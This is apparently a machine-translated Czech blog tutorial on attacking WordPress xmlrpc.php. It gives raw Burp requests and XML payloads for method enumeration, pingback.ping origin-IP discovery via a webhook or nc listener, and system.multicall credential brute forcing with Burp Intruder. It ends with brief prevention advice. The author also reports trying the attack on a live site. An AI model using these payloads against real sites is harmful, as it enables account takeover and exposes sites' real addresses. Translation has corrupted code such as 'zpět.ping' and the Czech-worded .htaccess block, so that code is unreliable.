Zneužití xmlrpc.php
Soukromí & Cookies
Tato stránka používá cookies. Pokračováním souhlasíte s jejich používáním. Zjistěte více, včetně toho, jak soubory cookie ovládat.
Co je XML-RPC?
XML-RPC je rozhraní API, které informace nebo data překroutí do souboru XML a odešle je mobilní aplikaci nebo vzdálenému softwaru. To bylo zavedeno, protože v dřívějších dobách nebyla rychlost internetu vysoká, místo aby se to zapisovalo online. Uživatelé zapisují svůj obsah offline a publikují vše dohromady pomocí rozhraní API. Jak se zlepšovaly internetové služby, většina z nás už tuto funkci nepoužívá, často se na ni zapomnělo.
Jaké jsou zranitelnosti?
- Útok hrubou silou. Hlavním důvodem k provedení útoku je, že toto rozhraní API nemá omezení pokusů o přihlášení na webu. Nemusí získat správné přihlašovací údaje, ale přesto způsobí problémy, například přetížení webu. Je ovlivněna dostupnost webu.
- Překvapení/odcizení přihlašovacích údajů. Chybějící systém ověřování. Pokaždé, když se uživatel pokusí přistoupit na web, jsou přihlašovací údaje odeslány v rámci formuláře XML. Pokud dojde k zachycení spojení / MITM, jsou odhalena čistá data XML.
- XMLRPC pingback.ping. Útočník může pomocí této metody získat skutečnou veřejnou adresu webu WordPress.
⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️
Předtím vám začnu ukazovat podrobné kroky provedení následujících útoků. Veškeré vaše nezákonné kroky, které jste provedli, jsou na vaši vlastní zodpovědnost. Nejsem zodpovědný za žádnou z vašich akcí. Prosím, nastavte si k tomu své vlastní prostředí nebo před provedením požádejte o povolení.
⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️
Útok na XMLRPC pomocí Burpsuite
Nejprve zkontrolujte, zda je na cílovém webu přístupný soubor XMLRPC.php. V tomto případě jsem pro provedení útoku nastavil ukázkový web WordPress.
„Server XML-RPC přijímá pouze požadavky POST.“
Při použití metody GET pro načtení souboru obvykle dostaneme tento výsledek.
Dále provedeme metodu POST pro načtení všech použitelných metod na serveru XMLRPC.
POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
Server vám odpoví seznamem metod, které lze použít. V tomto případě nás zajímá zejména metoda pingback.ping. Jednu věc je třeba vzít na vědomí, že všechna tato data přicházející a odcházející používají formát XML, jak je vysvětleno výše. Ujistěte se tedy, že formát dat je správný.
Pro provedení útoku si musíme nejprve připravit tyto 2 věci
- Volný webhook.URL webu nebo jakoukoli jinou alternativu podle vašich preferencí, jako je beeceptor a postbin
- Validní URL cílového příspěvku WordPress.
<?xml version=“1.0″ encoding=“UTF-8″?>
<methodCall>
<methodName>zpět.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
Níže je uveden další příklad tohoto útoku provedeného na tomto webu WordPress. ANO! Ten, na který se právě díváte. Ze zvědavosti chci vyzkoušet napadení skutečného webu místo toho, který jsem hostoval.
Jak vidíte, tento útok je neúspěšný a v postbinu se nezobrazí žádný výsledek. Zdá se, že udělali nějaké opatření a prevenci online webu WordPress. Tato metoda je užitečná pro vlastní nastavení webu a nezakázala xmlrpc.php
Pokud nechcete používat POSTBIN, otevřete NC a nastavte na režim naslouchání funguje stejně! 👍👍
Útok hrubou silou pomocí XMLRPC.php
Jak je uvedeno výše, počet pokusů není omezen. Získání úspěšné kombinace uživatelského jména a hesla je jen otázkou času. A také neexistuje žádný mechanismus, jako je zablokování účtu, po určitém počtu pokusů.
<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>
Pro ukázku rozdílu mezi úspěšným a neúspěšným přihlášením uvádíme příklad.
A samozřejmě byste k provádění tohoto druhu útoků hrubou silou měli používat Vetřelce.
Nejprve zkontrolujte cíl útoku, v mém případě budu používat IP adresu svého webu.
musíme nastavit Pozice užitečného zatížení a v seznamu Typ útoku vybrat ‚Cluster bomb‘. Dobrý zdroj informací o pozicích a typech útoků
Tady musíme nastavit 2 pozice užitečného zatížení, ‚uživatelské jméno‘ a heslo. Dále musíme nastavit seznam slov. Toto je dokumentace typů užitečného zatížení
Klikněte na ‚Spustit útok‘, až budete připraveni
Jak si můžeme všimnout, jeden z požadavků má jinou délku. A když zkontrolujeme nezpracovaná data na kartě odpovědi, ukáže nám tato sada kombinace úspěšné přihlášení.
Prevence
- Instalace pluginu pro lenochy
- Zakázat xmlrpc.php pomocí .htaccess
# Zakázat komukoli přístup k souboru
<Soubory xmlrpc.php>
pořadí deny,allow
zakázat ze všech
</Soubory>
.